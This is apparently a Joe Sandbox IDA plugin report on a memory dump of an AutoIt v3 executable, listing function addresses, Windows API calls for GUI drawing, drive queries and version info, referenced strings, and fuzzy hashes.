Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: a5a80f1e95c05b93ac6d6c424453a8d195beffeaefd858ab111e1c01d4adab6e
Instruction ID: d36fafd9fd0b14424d517847f8b6e7c1c476e141202478e213045acdb945dc18
Opcode Fuzzy Hash: a5a80f1e95c05b93ac6d6c424453a8d195beffeaefd858ab111e1c01d4adab6e
Instruction Fuzzy Hash: DAD15E302043029BCB04EF14C465F6EBBA1EF95394F15845CF9869B3A2DB31EA0ADB71

Function 00DCA5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00DCA630
GetSysColorBrush.USER32 ref: 00DCA661
GetSysColor.USER32(0000000F,?,?,?,?,?,?,?,?,?,?,?,?,00D7B93A,?,?), ref: 00DCA66D
SetBkColor.GDI32(?,000000FF), ref: 00DCA687
SelectObject.GDI32(?,00000000), ref: 00DCA696
InflateRect.USER32 ref: 00DCA6C1
GetSysColor.USER32(00000010,?,?,?,?,?,?,?,?,?,?,?,?,00D7B93A,?,?), ref: 00DCA6C9
CreateSolidBrush.GDI32(00000000), ref: 00DCA6D0
FrameRect.USER32 ref: 00DCA6DF
DeleteObject.GDI32(00000000), ref: 00DCA6E6
InflateRect.USER32 ref: 00DCA731
FillRect.USER32 ref: 00DCA763
GetWindowLongW.USER32(?,000000F0), ref: 00DCA78E

Part of subcall function 00DCA8CA: GetSysColor.USER32(00000012,00000000,?,?,?,?,?,?,?,?,?,00DCA5FA,?,?,00000000,?), ref: 00DCA903
Part of subcall function 00DCA8CA: SetTextColor.GDI32(?,?), ref: 00DCA907
Part of subcall function 00DCA8CA: GetSysColorBrush.USER32 ref: 00DCA91D
Part of subcall function 00DCA8CA: GetSysColor.USER32(0000000F,?,?,?,?,?,?,?,00DCA5FA,?,?,00000000,?,?), ref: 00DCA928
Part of subcall function 00DCA8CA: GetSysColor.USER32(00000011,?,?,?,?,?,?,?,00DCA5FA,?,?,00000000,?,?), ref: 00DCA945
Part of subcall function 00DCA8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00DCA953
Part of subcall function 00DCA8CA: SelectObject.GDI32(?,00000000), ref: 00DCA964
Part of subcall function 00DCA8CA: SetBkColor.GDI32(?,00000000), ref: 00DCA96D
Part of subcall function 00DCA8CA: SelectObject.GDI32(?,?), ref: 00DCA97A
Part of subcall function 00DCA8CA: InflateRect.USER32 ref: 00DCA999
Part of subcall function 00DCA8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00DCA9B0
Part of subcall function 00DCA8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 00DCA9C5
Part of subcall function 00DCA8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00DCA9ED

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: ff83ec2e7b545f234852a18dff1c333de98503229e126e35207b03e06457c1c3
Instruction ID: 073c85ec57aa879fa937b17cfc4c44aa3eae88b095dc73d37c8d5bc654e18d2b
Opcode Fuzzy Hash: ff83ec2e7b545f234852a18dff1c333de98503229e126e35207b03e06457c1c3
Instruction Fuzzy Hash: 43915D72008307AFD7119F64DC08E9B7BAAFF88325F144A29F5A2D62E1D771D944CB62

Function 00D42C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00D42CA2
DeleteObject.GDI32(00000000), ref: 00D42CE8
DeleteObject.GDI32(00000000), ref: 00D42CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00D42CFE
DestroyWindow.USER32 ref: 00D42D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00D7C43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00D7C474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00D7C89D

Part of subcall function 00D41B41: InvalidateRect.USER32(?,00000000,00000001), ref: 00D41B9A

SendMessageW.USER32(?,00001053), ref: 00D7C8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00D7C8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00D7C907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00D7C912

Strings

0, xrefs: 00D7C731

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 23a8545cf4f8dfa0462a4d7a2c7a67bd36c15c61cd2e2e0a4adf6746e42ceac2
Instruction ID: 7041c0b125559f30ef95ababdc4cc2e84f2f83ccb4831460bd81616e21fd9dd0
Opcode Fuzzy Hash: 23a8545cf4f8dfa0462a4d7a2c7a67bd36c15c61cd2e2e0a4adf6746e42ceac2
Instruction Fuzzy Hash: 58127C30614202AFDB25CF24C884BA9B7E5FF44310F98956DF599CB262DB31E842DBB1

Function 00DB74AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00DB74DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00DB759D
SetRect.USER32 ref: 00DB75DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00DB75ED
CreateWindowExW.USER32 ref: 00DB7633
GetClientRect.USER32(00000000,?,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00DB763F
CreateWindowExW.USER32 ref: 00DB7683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00DB7692
GetStockObject.GDI32(00000011), ref: 00DB76A2
SelectObject.GDI32(00000000,00000000), ref: 00DB76A6
GetTextFaceW.GDI32(00000000,00000040,?), ref: 00DB76B6
GetDeviceCaps.GDI32(00000000,0000005A,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?), ref: 00DB76BF
DeleteDC.GDI32(00000000), ref: 00DB76C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00DB76F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 00DB770B
CreateWindowExW.USER32 ref: 00DB7746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00DB775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 00DB776B
CreateWindowExW.USER32 ref: 00DB779B
GetStockObject.GDI32(00000011), ref: 00DB77A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00DB77B1
ShowWindow.USER32(00000004), ref: 00DB77BB

Strings

DISPLAY, xrefs: 00DB7688
msctls_progress32, xrefs: 00DB773C
static, xrefs: 00DB767D, 00DB7795
AutoIt v3, xrefs: 00DB762B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 656f35e69444ed45a91cc78876fc33ff711731e5a36d5b76e7d5e334150f1c2e
Instruction ID: 051eccf39af3133ba966f82817873ec5b888d650d55fb935ffaacae4b4c583a7
Opcode Fuzzy Hash: 656f35e69444ed45a91cc78876fc33ff711731e5a36d5b76e7d5e334150f1c2e
Instruction Fuzzy Hash: C3A14D71A40606BFEB149BA5DC4AFAF7BBAEB44710F048114FA15E72E0C671AD04CB70

Function 00DAAD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DAAD1E
GetDriveTypeW.KERNEL32(?,00DCFAC0,?,\\.\,00DCF910), ref: 00DAADFB
SetErrorMode.KERNEL32(00000000,00DCFAC0,?,\\.\,00DCF910), ref: 00DAAF59

Strings

CDROM, xrefs: 00DAAE2F
RAMDisk, xrefs: 00DAAE25
RAID, xrefs: 00DAAEF7
Virtual, xrefs: 00DAAF21
1394, xrefs: 00DAAEDB
ATAPI, xrefs: 00DAAECD
SSA, xrefs: 00DAAEE2
FileBackedVirtual, xrefs: 00DAAF28
SAS, xrefs: 00DAAF05
Fixed, xrefs: 00DAAE43
\\.\, xrefs: 00DAAD70
Fibre, xrefs: 00DAAEE9
Unknown, xrefs: 00DAAE1B, 00DAAEBF
USB, xrefs: 00DAAEF0
SCSI, xrefs: 00DAAEC6
Network, xrefs: 00DAAE39
MMC, xrefs: 00DAAF1A
iSCSI, xrefs: 00DAAEFE
SSD, xrefs: 00DAAE86
Removable, xrefs: 00DAAE4D
ATA, xrefs: 00DAAED4
PhysicalDrive, xrefs: 00DAADA7
SATA, xrefs: 00DAAF0C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 5ba12af84faeee2793e0baaa8e4b1dc1d939993c742375538b8bf62d0426707c
Instruction ID: 0aa1050e2e7a9fa3a336ecc25510bb7e6851c22296686ac931a6b4e38b7e8a0a
Opcode Fuzzy Hash: 5ba12af84faeee2793e0baaa8e4b1dc1d939993c742375538b8bf62d0426707c
Instruction Fuzzy Hash: 545180B0644309AF8B14DB18C992CBDB3A1EF4A700B258257F547A7291DB31DE49EB73

Function 00D468DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00D46931
__wcsnicmp.LIBCMT ref: 00D46949
__wcsnicmp.LIBCMT ref: 00D46961
__wcsnicmp.LIBCMT ref: 00D46979
__wcsnicmp.LIBCMT ref: 00D46991
__wcsnicmp.LIBCMT ref: 00D469A9
__wcsnicmp.LIBCMT ref: 00D469C1
__wcsnicmp.LIBCMT ref: 00D469D5
__wcsnicmp.LIBCMT ref: 00D46A16
__wcsnicmp.LIBCMT ref: 00D46A2A
__wcsnicmp.LIBCMT ref: 00D46A3E
__wcsnicmp.LIBCMT ref: 00D46A52

Strings

#OnAutoItStartRegister, xrefs: 00D46973
Unterminated group of comments, xrefs: 00D7E403
#comments-start, xrefs: 00D469BB, 00D46A10
#comments-end, xrefs: 00D46A38
#pragma compile, xrefs: 00D4692B
#requireadmin, xrefs: 00D4695B
#include, xrefs: 00D469A3
Cannot parse #include, xrefs: 00D7E3F0
#cs, xrefs: 00D469CF, 00D46A24
#include-once, xrefs: 00D4698B
#notrayicon, xrefs: 00D46943
Bad directive syntax error, xrefs: 00D7E31A
#ce, xrefs: 00D46A4C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 5dd69e393bce407c6eaebed5e3bd51e917239aa56a6f792e91eed33736f5a8b2
Instruction ID: 8c9274862788300d10e81c4e2726d690bb300042fb31ab479909214c64080400
Opcode Fuzzy Hash: 5dd69e393bce407c6eaebed5e3bd51e917239aa56a6f792e91eed33736f5a8b2
Instruction Fuzzy Hash: EF81E4B0600605BBCF20AB64EC43FBB3769EF16705F084025F946AB196EB71DE45D6B2

Function 00DC9A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103), ref: 00DC9AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00DC9B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 00DC9BA7

Strings

0, xrefs: 00DC9BE4

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 7ea6ce194327e9d2427272e4fa0520e5b85c9adbc40a39e67ad11017800e8ef7
Instruction ID: 7de86a92f9e1c08d6e11cc045db8d43b5b2578c65c45569c9742844ff7f29309
Opcode Fuzzy Hash: 7ea6ce194327e9d2427272e4fa0520e5b85c9adbc40a39e67ad11017800e8ef7
Instruction Fuzzy Hash: D602AB31105302AFDB258F24C869FAABBE5FF49314F08892DF999D72A1C735D944CB62

Function 00DCA8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012,00000000,?,?,?,?,?,?,?,?,?,00DCA5FA,?,?,00000000,?), ref: 00DCA903
SetTextColor.GDI32(?,?), ref: 00DCA907
GetSysColorBrush.USER32 ref: 00DCA91D
GetSysColor.USER32(0000000F,?,?,?,?,?,?,?,00DCA5FA,?,?,00000000,?,?), ref: 00DCA928
CreateSolidBrush.GDI32(?), ref: 00DCA92D
GetSysColor.USER32(00000011,?,?,?,?,?,?,?,00DCA5FA,?,?,00000000,?,?), ref: 00DCA945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00DCA953
SelectObject.GDI32(?,00000000), ref: 00DCA964
SetBkColor.GDI32(?,00000000), ref: 00DCA96D
SelectObject.GDI32(?,?), ref: 00DCA97A
InflateRect.USER32 ref: 00DCA999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00DCA9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 00DCA9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00DCA9ED
GetWindowTextW.USER32(00000000,00000000,00000001,?,?,?,?,?,?,?,00DCA5FA,?,?,00000000,?,?), ref: 00DCAA14
InflateRect.USER32 ref: 00DCAA32
DrawFocusRect.USER32 ref: 00DCAA3D
GetSysColor.USER32(00000011,?,?,?,?,?,?,?,00DCA5FA), ref: 00DCAA4B
SetTextColor.GDI32(?,00000000), ref: 00DCAA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00DCAA67
SelectObject.GDI32(?,00DCA5FA), ref: 00DCAA7E
DeleteObject.GDI32(?), ref: 00DCAA89
SelectObject.GDI32(?,?), ref: 00DCAA8F
DeleteObject.GDI32(?), ref: 00DCAA94
SetTextColor.GDI32(?,?), ref: 00DCAA9A
SetBkColor.GDI32(?,?), ref: 00DCAAA4

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 4bc5ef142fa764e3cd2a0057d3e934bd1d367abed7ea2a449f0c2dc08272458c
Instruction ID: c8d23bfbe7408acec8557eed437dbf42c72ff0dd4d307d743b1623ea3b71c86e
Opcode Fuzzy Hash: 4bc5ef142fa764e3cd2a0057d3e934bd1d367abed7ea2a449f0c2dc08272458c
Instruction Fuzzy Hash: 72512C7190021AEFDB119FA8DC49EEE7B7AEF08320F154625F911EB2A1D7719940DFA0

Function 00DC89D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00DC8AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00DC8AD2
CharNextW.USER32(0000014E), ref: 00DC8B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00DC8B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00DC8B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00DC8B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00DC8B86
SetWindowTextW.USER32(?,0000014E,?,?,?,?,?), ref: 00DC8BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00DC8BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00DC8C1F
_memset.LIBCMT ref: 00DC8C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00DC8C8D
_memset.LIBCMT ref: 00DC8CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00DC8D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00DC8D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00DC8E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00DC8E3D
GetMenuItemInfoW.USER32 ref: 00DC8E87
SetMenuItemInfoW.USER32 ref: 00DC8EB4
DrawMenuBar.USER32(?), ref: 00DC8EC3
SetWindowTextW.USER32(?,0000014E,?,?,?,?,?), ref: 00DC8EEB

Strings

0, xrefs: 00DC8E55

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: a5509f139724a8b207792780a658f10aadfc492a0144f2fa0b0f26e8ef17801a
Instruction ID: 88b9fcee3506e46abfedda6dc20f595f82c55957b9225b64b77d43149e377e82
Opcode Fuzzy Hash: a5509f139724a8b207792780a658f10aadfc492a0144f2fa0b0f26e8ef17801a
Instruction Fuzzy Hash: 50E15B7190021AAFDB219F64CC84FEE7BB9EF05710F14815AF955AB290DB708A81EF70

Function 00DC488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00DC49CA
GetDesktopWindow.USER32 ref: 00DC49DF
GetWindowRect.USER32(00000000), ref: 00DC49E6
GetWindowLongW.USER32(?,000000F0), ref: 00DC4A48
DestroyWindow.USER32 ref: 00DC4A74
CreateWindowExW.USER32 ref: 00DC4A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00DC4ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00DC4AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00DC4AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00DC4B09
IsWindowVisible.USER32(?), ref: 00DC4B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00DC4B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00DC4B58
GetWindowRect.USER32(?,?), ref: 00DC4B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00DC4B96
GetMonitorInfoW.USER32(00000000,?), ref: 00DC4BB0
CopyRect.USER32(?,?), ref: 00DC4BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00DC4C32

Strings

tooltips_class32, xrefs: 00DC4A96
(, xrefs: 00DC4BA3
0, xrefs: 00DC4975

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 832fd4b49fb218067cf4d75c758498ed00e424931d614d0f6f100645a9c2aabc
Instruction ID: 0ed38403d16680702b5ac67a278fa7f9980a0527e6ecbd1621c2ce564cffb090
Opcode Fuzzy Hash: 832fd4b49fb218067cf4d75c758498ed00e424931d614d0f6f100645a9c2aabc
Instruction Fuzzy Hash: A0B17970604342AFDB04DF65C898F6ABBE5EF88314F008A1CF5999B2A1D771EC05CB65

Function 00DA449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00DA44AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00DA44D2
_wcscpy.LIBCMT ref: 00DA4500
_wcscmp.LIBCMT ref: 00DA450B
_wcscat.LIBCMT ref: 00DA4521
_wcsstr.LIBCMT ref: 00DA452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00DA4548
_wcscat.LIBCMT ref: 00DA4591
_wcscat.LIBCMT ref: 00DA4598
_wcsncpy.LIBCMT ref: 00DA45C3

Strings

\VarFileInfo\Translation, xrefs: 00DA4540
StringFileInfo\, xrefs: 00DA451B
%u.%u.%u.%u, xrefs: 00DA4626
DefaultLangCodepage, xrefs: 00DA45AB
04090000, xrefs: 00DA457E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 6d5c4e4ab8e3e04f1b87cf8aa32943e62184cf8079c4457412bcb874213b2ae6
Instruction ID: 33c0f1ed3cb0b2d44e9bce28ca2fa43e10c14ecdeee6e7ab8937aa882466061c
Opcode Fuzzy Hash: 6d5c4e4ab8e3e04f1b87cf8aa32943e62184cf8079c4457412bcb874213b2ae6
Instruction Fuzzy Hash: D941D172A002157BDB11AB748C47EFF77ACDF82710F08446AF905E61C2EB75AA019AB5

Function 00D427D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D428BC
GetSystemMetrics.USER32(00000007), ref: 00D428C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D428EF
GetSystemMetrics.USER32(00000008), ref: 00D428F7
GetSystemMetrics.USER32(00000004), ref: 00D4291C
SetRect.USER32 ref: 00D42939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00D42949
CreateWindowExW.USER32 ref: 00D4297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00D42990
GetClientRect.USER32(00000000,000000FF), ref: 00D429AE
GetStockObject.GDI32(00000011), ref: 00D429CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00D429D5

Part of subcall function 00D42344: GetCursorPos.USER32(?), ref: 00D42357
Part of subcall function 00D42344: ScreenToClient.USER32(00E057B0,?), ref: 00D42374
Part of subcall function 00D42344: GetAsyncKeyState.USER32 ref: 00D42399
Part of subcall function 00D42344: GetAsyncKeyState.USER32 ref: 00D423A7

